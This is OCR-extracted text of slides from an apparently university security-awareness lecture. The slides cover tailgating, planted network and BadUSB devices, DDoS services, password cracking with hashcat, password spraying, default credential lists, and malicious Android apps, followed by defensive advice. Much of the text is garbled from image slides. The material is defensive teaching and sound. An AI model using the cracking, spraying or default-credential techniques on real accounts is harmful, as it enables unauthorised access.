= &: ..:Z: "

https://www.youtube.com/watch?v=opRMrEfAlil

63 | April 19, 2023 |  Title of presentation



: bl fa2ial 20
Just asking for passwords

64 | April 19,2023 | https://www.youtube.com/watch?v=UzvPP6_LRHc
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Tailgating - Piggybacking

https://www.youtube.com/watch?v=Mr1nTO_n_FM&feature=youtu.be

65 | April 19, 2023 |  Title of presentation
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Tailgating - Piggybacking

Piggybacking or Tailgating

Following employees into non-public
areas while pretending to be a
vendor, employee, or customer.

https://www.youtube.com/watch?v=jksOirOWGM8

66 | April 19, 2023 |  Title of presentation
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Hidden network devices

) & » One minute access to a room
O O needed
a " » Battery powered
e = » Calling home devices

il =

*

=
y\m
i

PwnPlug -Network Attack Device

67 | April 19, 2023 |  Title of presentation
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USB devices
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USB devices

FH |JOANNEUM
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Name / Anderungsdatum GroBe

> CV.pdf Anwendung 4481 KB
i51] Gehaltstabelle Microsoft Office E... 178 KB
.| info Textdokument 1 KB
Beispiele:

e Ausrkuhrbarer Code
» FilePormat Exploits
* BodUSB

© Thomas Hackner Breakinln Security Forum Hagenberg

69 | April 19,2023 |  Title of presentation

» Very cheap devices

» Placed in front of the
door

» Scattered in the parking
lot

» Placed in the toilet

» Sent as gift

? eee
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USB devices

» Special USB devices

Micro SD Storage S i ) » Actsas a keyboard
» Can type everything
Replay Button » Cheap device
: Covert Case
“-LED Indicator
Optional Decal
® ® TypeAPlug a ® -

© Thomas Hackner Breakinln Security Forum Hagenberg

70 | April 19, 2023 |  Title of presentation
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Bad USB Devices

——~~ ‘
- ~

ATTACKER

msf esxploit (handler) >

FIREWALL

ATTACKER

71 | April 19,2023 |  Title of presentation
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Denial of service
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Denial of Service (DOS) als Service

Member

b 33a8MCMMO

Urgent DDos - mowmsiid cepauc DDoS artaxk.

IBHCHMOCTH OT NOCTaBNeHHOM 330aun.

Check website hitp://www S cO M /

Permanent link to this check report | Share report: [}

Location

== Austria, Vienna

i 1 Belgium, Antwerp

i*l Canada, Ottawa

Result Time

Connection
timed out

Connection
timed out

Server error 14.332 seconds

Code

508 (unused)

) Connection
L I France, Paris ;
timed out
Connection
™ Germany, Dusseldorf .
timed out
S R e i e

FH |JOANNEUM

University of Applied Sciences

IT & Mobile Security
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Project work BotNets Martin Pojer, ITM 2013
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Passwords
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Password protection

» Most commonly used passwords

» 123456

» 12345

» 123456789

» password

» lloveyou

» abc123

» qwerty

» names, pets name, company
terms, date of birth,...

Username: Username

https://pixabay.com/

76 | April 19, 2023 |  Title of presentation
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Password complexity

» Time to crack your password

» (06) Easter 4 seconds
» (07) Easter2 14 minutes
» (08) Easter20 15 hours

» (09) Easter201 39 days

» (10) easter2019 10 days
» (11) Easter20191 412 years

)
)
)
» (10) Easter2019 6 years
)
)
» (11) Easter2019& 4000 years

77 | April 19, 2023 |  Title of presentation
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Password crocking

» hashcat = GPU cracker
» 500 Mrd. MD5 hashes/s
» Wordlists

» Rules -

» Masks “' ‘S“ E AT
» Brute force e

» Rainbow tables

» Cloud services
» Password spraying - Summer2022

A\

A\

/
|
<
-

GEFORCE RTX

F e
=TT
=y =)
E
=y ™
= J
(L)

| GEFORCERTX

S -—-..._
T
__—0__—__—-—’

78 | April19,2023 |
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Default Password Lists

OpenMarket
OpenMarket
OpenMarket
Openlink
Openwave
Openwave

Optivision

Oracle

Oracle

Oracle

Oracle

Oracle

Oracle

Oracle

Oracle

Oracle

Oracle

Oracle

79 | April 19,2023

user_marketer
user_pricer
user_publisher
admin

cac_admin

sys

root

<N/A>

ADAMS
ADLDEMO
ADMIN

ADMIN
ADMINISTRATOR
ADMINISTRATOR
ANDY

AP

APPLSYS

APPLSYS

demo

» Change manufacturer passwords
» WIiFi = Change SSID + Password

admin

cacadmin )) z.B.

uplink

» SSID: 3WebCube0a83
» Pass: SWebCube8a?3

WOOD

» 65536 Tries
JETSPEED

WELCOME

ADMINISTRATOR

admin

SWORDFISH

AP

APPLSYS

FND
https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv

|  Title of presentation



Password reuse
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https://pixabay.com/

80
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»

»
»

»
»
»
>

v

Use of the same password many
times on different platforms
Company

Private eMail account

Use of an easy to guess password
scheme

Secude_malil

Secule_private

Password spraying
Wintern2020, Summer2020,...
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Data breaches - check your password

'"--have i been pwned?

Check if you have an account that has been compromised in a data breach

Largest breaches
191 Collection #1 accounts
Onliner Spambot accounts
1% Exploitn accounts
538 Anti Public Combo List accounts

0% River City Media Spam List

E
o
=
Q)

)emaii address or username

accaolunts

) ﬂﬂ‘lysﬂﬂﬂﬂ 359,430 2 MySpace accounts
https://haveibeenpwned.com/ 3 ueses 734,847,089 NetEase accounts
H 74,611,595 Linkedln accounts

35 Adobe accounts

" 7E3 Exactis accounts

81 April 19,2023 Title of presentation
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Data breaches - check your password

Breaches you were pwned in

Recently added breaches

A "breach" is an incident where a site's data has been illegally accessed by hackers and then released publicly. Review the types of data
that were compromised (email addresses, passwords, credit cards etc.) and take appropriate action, such as changing passwords. 191 Callection #1 accounts
! FacelP accounts
Anti Public Combo List : In December 2016, a huge list of email address and password pairs
appeared in a "combo list” referred to as "Anti Public". The list contained 458 million unique email addresses,
many with multiple different passwords hacked from various online systems. The list was broadly circulated and
used for "credential stuffing”, that is attackers employ it in an attempt to identify other online systems where
the account owner had reused their password. For detailed background on this incident, read Password reuse,
credential stuffing and another billion records in Have | been pwned.

Banner Hit

Wanam of Salem

Compromised data: Email addresses, Passwords

Dropbox: In mid-2012, Dropbox suffered a data breach which exposed the stored credentials of tens of millions - . —— "
: : ) Bombuj.eu 575,437 Bombuj.eu accounts
of their customers. In August 2016, they forced password resets for customers they believed may be at risk. A =
large volume of data totalling over 68 million records was subsequently traded online and included email

addresses and salted hashes of passwords (half of them SHA1, half of them berypt).

Hub4Te 36,916 HubdTech accounts

o W 1
655 You've Bean =] :IEI:J accounts
Compromised data: Email addresses, Passwords i F

82 April 19,2023 Title of presentation
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How to create a strong password (and remember it)

» Small / capital letters

» Numbers \..Cangd gl ”H

. \*‘“gs“g"f’\i 1 "indfed”
» Special characters = (& I ittt
» No common words - {\'“ AW we o

» Whole sentences B —c WW‘E“{'

» My car has four wheels and a star
» Mch4waa*

https://www.howtogeek.com/195430/how-to-create-a-strong-password-and-remember-it/

» Use a password manager (KeePass, LastPass, 1Password,...)

83 Datum Autor, etc



FH|JOANNEUM
IT & Mobile Security

Politician unlocking his computer

https://imgur.com/gallery/BOIY8IA

Autt, efc Datum
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How to create a strong password (and remember it)

UNCOMMON

(NoU-GIBBERSH) | TOER
BASE WoRD ~ UNKNOWN

Tr@ubddor 23

CAPS? COMMON ~
SUBSTITUTIONS el
(YOU CAM AOD A PEW MORE Bs To PUNCTUATION

~28 BITS Of ENTROPY

2%= 3 Davs AT
1000 GUESSES /sec
{ PLAUSIBLE ATTACK ON A WEAK REMETE.
WEB SERVICE. YES, CRACKING A STOLEM

MEEH 18 FRSTER, BUT M MOT wHAT THE
AERAGE USER SHOULD wogeY ABoUT. )

DIFRCOLTY TO GUESS:

EASY

\WAS IT TROMBONE? NG,
TROUBADOR. AND ONE OF
THE Os WAS A ZERQT

\
AND THERE WAS
SOME SYMBOL... ™

DIFFICOLTY To REMEIBER:
HARD

correct horse battery stople

FOUR RANDOM
COMMON WORDS

https://xkcd.com/936/

~ L4 BITS OF ENTROPY

2™ =550 YEPRS AT
1000 GUESSES/sEC

DIFFicOLTY To GUESS:
HARD

DIFFICULTY To REMEMBER:
YOUVE ALREADY

MEMORIZED T

THROUGH 20 YEARS OF EFFORT, WEVE SUCCESSFULLY TRAINED
EVERYONE TO USE PASSWORDS THAT ARE HARD FOR HUMANS
To REMEMBER, BUT EASY FoR COMPUTERS TO GUESS.

85 | Datum |

Autor, etc

» Current recommendations (NIST)
» Use a whole sentence instead of
single cryptic letters

» E.g. “correct horse battery staple”



2 Factor authentication

.é.

Google Authenticator

o Enter this verification code if
i e prompted during account sign-in:

- ? LG_I alice@gmail.com

547173

alice.work@company.com

166123

Authenticator Code

http://askubuntu.com/questions/193248/google-authenticator-for-desktop-lightdm-or-gdm-plugin

FH | JOANNEUM

I & Mobile Security

function GeoogleButhenticatorCodel(string secret)

key 1= base3Zdecode(zsecret)

message := floor(current Unix time / 30)
hash := HMAC-SHAl (key, message)

offset := last nibkble of hash
truncatedHash := hashl[offset..offoet+3] i
Set the first bit of truncatedHash to zero
code := truncatedHash mod 1000000

pad code with O until length of code iz ©
return code
https://de.wikipedia.org/wiki/Google_Authenticator

86 April 19,2023 Title of presentation



Passwort Tips
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/

»
»
»

»

»

Passwort Spraying

Winter2020, Sommer2021,...

Ein Account reicht aus fur den
ersten Schritt eine Angriffs
Keine Doppelverwendung von
Passworter in der Firma und im
privaten Umfeld (Kegelverein,...)
Kein Passwort verwenden, das in
einem Worterbuch zu finden ist,
egal in welcher Sprache
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Mobile devices
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Mobile devices, alternative app sources

b Google play

=

»

Apps »

»

Worldwide Appstores

AndAppOnline

AndraidPIT App Center
My Play activity :;g[_i’:g

ile Store  AppTown

My wishlist Apsiia

Google Play
Redeem F-Droid
Buy gift card

https://play.google.com/store?hl=en

89 | Datum |  Autor, etc

Download apps from non official
stores

Can you trust them?

What can really happen?

Regional Appstores

Anzhi SK T-Store Yandex.Store
AppChina A Maver NStore

. p D.cn Games Center _ APPZIL P

i F: lleh Market
iy AL S.Korea TN Russia

N-Due Market
PandaApp L%
Taobao App Market g.@ -
Tencent App Gem

http://www.onepf.org/appstores/



nstallation - just allow unknown sources
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41 K/s 3106 @ Call 84 1412

Kategorien Lokal

Kategorien Apps Apps

bad.apk
MainActivity (Version 1.0) 10,09 kB

0K/s $101 @ @ Tl 1880 1412

©  MainActivity

Dateien

Aus Sicherheitsgriinden kannst du auf dem
Smartphone keine unbekannten Apps aus
dieser Quelle installieren.

0 K/s A10t© @ Ll (880 14:12

& Unbekannte Apps installieren
Dateien

App-Installationen zulassen

e Nutzung

lieser Apps entstehen kénnen, verantwortlich sind

0 K/s 101 © @ il 688 14:12
° MainActivity

Mdochtest du diese App installieren? Sie erhélt
dann folgende Berechtigungen:

Systemeinstellungen andern
Bilder und Videos aufnehmen

Kontakte lesen

Meine Kontakte &ndern
Audio aufnehmen

Kurznachrichten senden
dies kann Kosten verursachen
SMS empfangen

SMS oder MMS lesen

SD-Karteninhalte dndern oder l6schen

SD-Karteninhalte lesen

Genauer (GPS-)Standort

e 0K/s 3101 @ & Yl 880 14:12

©  MainActivity

MainActivity

Diese App enthilt einen Virus. Deinstallieren Sie diese
App sofort.

Nicht wieder erinnern

Q O —_ . ABBRECHEN EINSTELLUNGEN ABBRECHEN WEITER IGNORIEREN DEINSTALLIEREN
Suchen Aktualisieren ‘;anw:rr..mc' ’V:l‘r
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Installation completed
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58,8 K/s % i01 © @ Ll B2 14:41

@ MainActivity

App wurde installiert.

FERTIG OFFNEN
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»
»
»
»
»
»
»

Read / Write text messages
Read contacts

Read phonebook

Take phone calls

Use the camera

Use the microphone

Steal data

)) L XX ]



How to protect myself?
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» Anti virus protection

» Firewalls + rules (in/out)

» Patch management (security updates)
» Password policy

» Data backup

» Offline storage of backup data

» Regular security checks

» Healthy mistrust
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Vielen Dank!




